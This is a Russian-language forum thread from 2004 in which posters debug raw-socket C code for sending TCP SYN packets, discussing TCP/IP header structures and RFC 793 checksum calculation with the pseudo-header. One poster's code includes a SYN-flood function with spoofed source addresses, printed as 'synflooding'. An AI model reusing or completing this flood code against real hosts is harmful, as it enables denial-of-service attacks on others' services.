Контрольная сумма для TCP
От: butcher Россия http://bu7cher.blogspot.com
Дата: 19.01.04 06:36
Оценка: 3 (1)
#Имя: FAQ.network.tcp.checksum
Здравствуйте, alexora, Вы писали:

A>Как это неправильная сумма ?

A>Ты для tcp отдельно считаешь и для ip отдельно ?

я уже ничего не считаю, времени нету на это
а контрольная сумма для TCP считается вот как (см. RFC 793):
    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                +--------+--------+--------+--------+
                |           Source Address          |
                +--------+--------+--------+--------+
                |         Destination Address       |
                +--------+--------+--------+--------+
                |  zero  |  PTCL  |    TCP Length   |
                +--------+--------+--------+--------+

Поле контрольной суммы — это 16-битное дополнение суммы всех 16- битных слов заголовка и текста. Если сегмент содержит в заголовке и тексте нечетное количество октетов, подлежащих учету в контрольной сумме, последний октет будет дополнен нулями справа с тем, чтобы образовать для предоставления контрольной сумме 16-битное слово. Возникший при таком выравнивании октет не передается вместе с сегментом по сети. Перед вычислением контрольной суммы поле этой суммы заполняется нулями.

Контрольная сумма, помимо всего прочего, учитывает 96 бит псевдозаголовка, который для внутреннего употребления ставится перед TCP заголовком. Этот псевдозаголовок содержит адрес отправителя, адрес получателя, протокол и длину TCP сегмента. Такой подход обеспечивает защиту протокола TCP от ошибшихся в маршруте сегментов. Эту информацию обрабатывает Internet протокол. Она передается через интерфейс протокол TCP/локальная сеть в качестве аргументов или результатов запросов от протокола TCP к протоколу IP.

Длина TCP сегмента — это длина TCP заголовка и поля данных, измеренная в октетах. Это не является точным указанием количества передаваемых по сети октетов, она не учитывает 12 октетов псевдозаголовка, но тем не менее расчет этого параметра все же производится.

Функция для подсчёта, уже как-то приводилась мною, но поиск не работает :
unsigned short CalculateChecksum(unsigned short *usBuf, int iSize)
{
    unsigned long usChksum=0;
    while (iSize>1)
    {
        usChksum+=*usBuf++;
        iSize-=sizeof(unsigned short);
    }

    if (iSize)
        usChksum+=*(unsigned char*)usBuf;

    usChksum=(usChksum >> 16) + (usChksum & 0xffff);
    usChksum+=(usChksum >> 16);

    return (unsigned short)(~usChksum);
}

1. Заполняешь структуру псевдозаголовка:
2. добаваляешь к буферу в котором находится эта структура, буфер с твоим заголовком и данными (поле суммы = 0)
3. считаешь контрольную сумму выше приведённой функцией (это будет контрольная сумма TCP заголовка)
4. формируешь структуру IP заголовка
5. считаешь сумму заголовка IP (это по RFC, но я видел в программах, что считается сумма по всему пакету и вроде как работает..)
6. на сколько я помню, различные числовые данные, типа длинны пакета должны быть в сетевом представлении, т.е. на них перед записью в пакет надо натравливать htons

Нет ничего невозможного..
отпрвка syn пакета
От: alexora  
Дата: 15.01.04 13:24
Оценка:
Вот в Инете уйма сорсов, в которых явно показывается как обрабатывать syn/ack
Я пробовал все перенести все под win (copiler: msvc++ 6.0) Но там структур типа tcphdr вроде нет.
Я все взял с <linux/ip.h> <linux/tcp.h>

Пробовал отсылать SYN , но в netstat и в tcpdump ничего не видно. Убил пару дней на это все.

Вот код, может кто то и генерировал пакеты.


Сами структуры :



typedef unsigned short int u_int16_t;
typedef unsigned int u_int32_t;
typedef unsigned char u_int8_t;

#define __BYTE_ORDER      1
#define __LITTLE_ENDIAN   1
#define __BIG_ENDIAN      2

struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ihl:4;
    unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
    unsigned int version:4;
    unsigned int ihl:4;
#else
# error    "Please fix <bits/endian.h>"
#endif
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
    /*The options start here. */
  };



struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#  if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#  elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#  endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_ptr;
};



Проверка контрольной суммы, как извесно для ip и для tcp она одна и та же


unsigned short in_cksum(unsigned short *ptr,int nbytes)
{
        register long           sum;            /* assumes long == 32 bits */
        u_short                 oddbyte;
        register u_short        answer;         /* assumes u_short == 16 bits */
 
        sum = 0;
        while (nbytes > 1)  {
                sum += *ptr++;
                nbytes -= 2;
        }
                                 /* mop up an odd byte, if necessary */
        if (nbytes == 1) {
                oddbyte = 0;            /* make sure top half is zero */
                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
                sum += oddbyte;
        }
 
        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
        sum += (sum >> 16);                     /* add carry */
        answer = ~sum;          /* ones-complement, then truncate to 16 bits */
        return(answer);
}



Сама функция флуда :



void flood(int sock,unsigned sadd,unsigned dadd,unsigned short dport,int amount)
{
       struct packet{
              struct iphdr ip;
              struct tcphdr tcp;
       }packet;
   
    struct pseudo_header{        
              unsigned int source_address;
              unsigned int dest_address;
              unsigned char placeholder;
              unsigned char protocol;
              unsigned short tcp_length;
              struct tcphdr tcp;
       }pseudo_header;
 
       struct sockaddr_in sin;        /* IP address information */
       register int i=0,j=0;        /* Counters */
    int tsunami=0;            /* flag */
    unsigned short sport= 7624;

       sin.sin_family=AF_INET;        /* Internet address family */
       sin.sin_port=sport;        /* Source port */
       sin.sin_addr.s_addr=dadd;    /* Dest. address */
                
    /* Fill in all the TCP header information */

       packet.tcp.source=sport;    /* 16-bit Source port number */
       packet.tcp.dest=htons(dport);     /* 16-bit Destination port */
       packet.tcp.seq=getrandom(10000,40000);    /* 32-bit Sequence Number */
       packet.tcp.ack_seq=0;        /* 32-bit Acknowledgement Number */
       packet.tcp.doff=5;        /* Data offset */
    packet.tcp.res1=0;        /* reserved */
    packet.tcp.res2=0;        /* reserved */    
       packet.tcp.urg=0;        /* Urgent offset valid flag */        
       packet.tcp.ack=0;        /* Acknowledgement field valid flag */
       packet.tcp.psh=0;        /* Push flag */
       packet.tcp.rst=0;        /* Reset flag */
       packet.tcp.syn=1;        /* Synchronize sequence numbers flag */
       packet.tcp.fin=0;        /* Finish sending flag */
       packet.tcp.window=htons(242); /* 16-bit Window size */
       packet.tcp.check=0;        /* 16-bit checksum (to be filled in below) */
       packet.tcp.urg_ptr=0;        /* 16-bit urgent offset */
 
    /* Fill in all the IP header information */
   
       packet.ip.version=4;        /* 4-bit Version */
    packet.ip.ihl=5;        /* 4-bit Header Length */
       packet.ip.tos=0;        /* 8-bit Type of service */
       packet.ip.tot_len=htons(40);    /* 16-bit Total length */
       packet.ip.id=getrandom(4000,9999);        /* 16-bit ID field */
       packet.ip.frag_off=0;        /* 13-bit Fragment offset */
       packet.ip.ttl=38;        /* 8-bit Time To Live */
       packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
       packet.ip.check=0;        /* 16-bit Header checksum (filled in below) */
       packet.ip.saddr=sadd;        /* 32-bit Source Address */
       packet.ip.daddr=dadd;        /* 32-bit Destination Address */
 
    /* Psuedo-headers needed for TCP hdr checksum (they
    do not change and do not need to be in the loop) */
              
    pseudo_header.source_address=packet.ip.saddr;
       pseudo_header.dest_address=packet.ip.daddr;
       pseudo_header.placeholder=0;
       pseudo_header.protocol=IPPROTO_TCP;
       pseudo_header.tcp_length=htons(20);
 
    for(i=0;i<amount;i++)
        {

            packet.tcp.source++;    /* Source port inc */
                  packet.tcp.seq++;    /* Sequence Number inc */
                  packet.tcp.check=0;    /* Checksum will need to change */
                  packet.ip.id++;        /* ID number */
                  packet.ip.check=0;    /* Checksum will need to change */
 
            packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
 
                  memcpy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
                  packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);

            int sent  = sendto(sock,(char*)&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));
            printf("Sent %i\n",sent);
            ::Sleep(500);
           }    
}



Вызов функции :







    srchost = inet_addr(argv[1]);
    dsthost = inet_addr(argv[2]);
    port = atoi(argv[3]);
    number = atoi(argv[4]);
    printf("synflooding %s from %s port %u %u times\n", argv[2], argv[1], port, number);

    int rawsock = socket (AF_INET, SOCK_RAW, RAW);

    setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));

    flood(rawsock, srchost, dsthost, port, number);



Вот оно мне принтит что отправил 40 байт, но ни в netstat ни в tcpdump я этого не вижу



thanx
Re: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 15.01.04 17:31
Оценка:
Здравствуйте, alexora, Вы писали:

A>Вот в Инете уйма сорсов, в которых явно показывается как обрабатывать syn/ack

A>Я пробовал все перенести все под win (copiler: msvc++ 6.0) Но там структур типа tcphdr вроде нет.
A>Я все взял с <linux/ip.h> <linux/tcp.h>
[skip]
A>Вот оно мне принтит что отправил 40 байт, но ни в netstat ни в tcpdump я этого не вижу

буквально на прошлой или позапрошлой неделе была подобная тема, там и примеры были воспользуйся поиском..

Нет ничего невозможного..
Re[2]: отпрвка syn пакета
От: alexora  
Дата: 15.01.04 23:33
Оценка:
Здравствуйте, butcher, Вы писали:

B>буквально на прошлой или позапрошлой неделе была подобная тема, там и примеры были воспользуйся поиском..


да я сам постил в те мессаги, но там ресь шла все под унихи. А вот я хочу все сделать под win. Если кто то знает где трабла то скажите.
Re[3]: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 16.01.04 06:03
Оценка:
Здравствуйте, alexora, Вы писали:

A>да я сам постил в те мессаги, но там ресь шла все под унихи. А вот я хочу все сделать под win. Если кто то знает где трабла то скажите.


точно
вот примерная последовательность действий:
1. Открываешь сокет:
  SOCKET s = socket (AF_INET, SOCK_RAW, IPPROTO_IP);

2. Далее устанавливаешь IP_HDRINCL
  int i = 1;
  setsockopt (s, IP, IP_HDRINCL, (char*)&i, sizeof (int));

3. bind'ишь сокет:
  SOCKADDR_IN src;
  memset(&src,0,sizeof(SOCKADDR_IN));
  src.sin_family = AF_INET;
  src.sin_addr.s_addr = inet_addr("Какой-то IP адрес");
  src.sin_port = htons (Port_May_by_Zero);
  bind (s, (SOCKADDR*)&src, sizeof(SOCKADDR_IN));

4. Формируешь пакеты и посылаешь:
  SOCKADDR_IN dst;
  memset(&dst,0,sizeof(SOCKADDR_IN));
  dst.sin_family = AF_INET;
  dst.sin_addr.s_addr = inet_addr("IP адрес назначения");
  dst.sin_port = htons (0);
  sendto (s, (const char*)packet, length, 0, (SOCKADDR*)&dst, sizeof(SOCKADDR_IN));

Нет ничего невозможного..
Re[4]: отпрвка syn пакета
От: alexora  
Дата: 16.01.04 10:37
Оценка:
Дык, а зачем то биндить ?
в сорцах под линух то ничего не биндится !
Re[5]: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 16.01.04 10:39
Оценка:
Здравствуйте, alexora, Вы писали:

A>Дык, а зачем то биндить ?

A>в сорцах под линух то ничего не биндится !

не хочешь — не бинди, я же не заставляю, попросил совета, вот совет
попробуй для начала, а линух != винда

Нет ничего невозможного..
Re[6]: отпрвка syn пакета
От: alexora  
Дата: 16.01.04 10:48
Оценка:
Здравствуйте, butcher, Вы писали:

какая у тя icq ?
или мыло ?
Re: отпрвка syn пакета
От: alexora  
Дата: 16.01.04 16:43
Оценка:
Народ, это вообще глюк, я с Linux перенес код под Free и все равно не катит.
sendto мне пишет, что отправлено 40 байт, но не в tcpdump, не в netstat ничего не видно.

Ниже укзаный код, просто напросто должен отправлять syn запрос :


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>

#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define P 25 

unsigned short csum(unsigned short *ptr,int nbytes)
{
    register long           sum;            /* assumes long == 32 bits */
        u_short                 oddbyte;
        register u_short        answer;         /* assumes u_short == 16 bits */
 
        sum = 0;
        while (nbytes > 1)  {
                sum += *ptr++;
                nbytes -= 2;
        }
                                 /* mop up an odd byte, if necessary */
        if (nbytes == 1) {
                oddbyte = 0;            /* make sure top half is zero */
                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
                sum += oddbyte;
        }
 
        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
        sum += (sum >> 16);                     /* add carry */
        answer = ~sum;          /* ones-complement, then truncate to 16 bits */
        return(answer);
}

int main (void) 
{ 
    int s = socket (PF_INET, SOCK_RAW, 255); 

    char datagram[4096]; 
    struct ip *iph = (struct ip *) datagram; 
    struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); 
    struct sockaddr_in sin; 
    
    int sendbytes;
    int  on = 1;
    int  index;

    sin.sin_family=AF_INET; 
    sin.sin_port = htons (80); 
    sin.sin_addr.s_addr = inet_addr ("212.23.65.112"); 

     memset (datagram, 0, 4096); 

    iph->ip_hl=5; 
    iph->ip_v=4; 
    iph->ip_tos=0; 
    iph->ip_len=sizeof (struct ip) + sizeof (struct tcphdr); 

    iph->ip_id=htonl (index + 2345); 
    iph->ip_off=0; 
    iph->ip_ttl=255; 
    iph->ip_p=6; 
    iph->ip_sum=0; 
    iph->ip_src.s_addr=inet_addr ("181.182.283.284"); 
    iph->ip_dst.s_addr=sin.sin_addr.s_addr; 

    tcph->th_sport=htons (1234); 
    tcph->th_dport=htons (P); 
    tcph->th_seq = 23432 + index; 
    tcph->th_ack=index + 54321; 
    tcph->th_x2=0; 
    tcph->th_off=0; 
    tcph->th_flags=TH_SYN | TH_URG; 
    tcph->th_win=htonl (65535); 
    tcph->th_sum=0; 
    tcph->th_urp=0; 

        tcph->th_sum = csum ((unsigned short *) datagram, (sizeof (struct ip) + sizeof (struct tcphdr) + 1) & ~1);
        iph->ip_sum   = csum ((unsigned short *) datagram, iph->ip_len >> 1);
    
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
        {
         fprintf(stderr, "error setsockopt\n");
         exit(1);
    }
    
    sendbytes = sendto(s, datagram, 40 , 0 , (struct sockaddr *)&sin, sizeof(sin));
    printf("Send %i bytes\n",sendbytes);  
}



Может кто то знает в чем бага ?
Re[2]: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 18.01.04 17:48
Оценка:
Здравствуйте, alexora, Вы писали:

A>Народ, это вообще глюк, я с Linux перенес код под Free и все равно не катит.

A>sendto мне пишет, что отправлено 40 байт, но не в tcpdump, не в netstat ничего не видно.

A>Ниже укзаный код, просто напросто должен отправлять syn запрос :

A>Может кто то знает в чем бага ?

попробовал я твою прогу под FreeBSD, tcpdump пишет, что не верная контрольная сумма
да, и кстати, нехорошо оставлять за собой своё ээ.., ну короче, сокеты закрывать надо

Нет ничего невозможного..
Re[3]: отпрвка syn пакета
От: alexora  
Дата: 18.01.04 22:36
Оценка:
Здравствуйте, butcher, Вы писали:

B>попробовал я твою прогу под FreeBSD, tcpdump пишет, что не верная контрольная сумма

B>да, и кстати, нехорошо оставлять за собой своё ээ.., ну короче, сокеты закрывать надо

Как это неправильная сумма ?
Ты для tcp отдельно считаешь и для ip отдельно ?
Re[5]: отпрвка syn пакета
От: DOOM Россия  
Дата: 19.01.04 08:53
Оценка:
Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.
Re[6]: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 19.01.04 09:02
Оценка:
Здравствуйте, DOOM, Вы писали:

DOO>Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.


правильно, пакет и уходит, наверняка tcpdump не показывает этого, потому что слушает на другом интерфейсе.

Нет ничего невозможного..
Re[6]: отпрвка syn пакета
От: alexora  
Дата: 19.01.04 12:16
Оценка:
Здравствуйте, DOOM, Вы писали:

DOO>Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.


Прикол в том , что в вышеуказаном коде все правильно высчитывается, все структуры правильно забиваются. Я все это слепил с трех сорцов. Те сорцы были под Linux , а я делал под Free. Сами ведь знаете, что
"struct ip" отличается от "struct iphdr" так же как и "struct tcphdr" от "struct tcphdr" в Linux от Free.

Вот. Кто то писал под Free подобное ?

Да sendto возвращает 40 байт, если пакет левый то -1, но не в netstat, tcpdump не видно, я уже по IP искал и по egrep /.+SYN.+/i
Re[7]: отпрвка syn пакета
От: butcher Россия http://bu7cher.blogspot.com
Дата: 19.01.04 12:41
Оценка:
Здравствуйте, alexora, Вы писали:

A>Вот. Кто то писал под Free подобное ?

A>Да sendto возвращает 40 байт, если пакет левый то -1, но не в netstat, tcpdump не видно, я уже по IP искал и по egrep /.+SYN.+/i
ещё раз говорю, контрольная сумма вычисляется неправильно, вот вывод tcpdump:
tcpdump: listening on lnc0
13:28:44.436763 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 2215, len 40)
13:28:45.235608 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 18058, len 40)
13:28:45.785491 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 43775, len 40)
^C
129 packets received by filter
0 packets dropped by kernel

ты не считаешь псевдозаголовок в контрольной сумме TCP!
читай RFC..

Нет ничего невозможного..
Re[8]: отпрвка syn пакета
От: alexora  
Дата: 19.01.04 22:17
Оценка:
Здравствуйте, butcher, Вы писали:

butcher-у я шлю настоящий coooool !



thanx
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.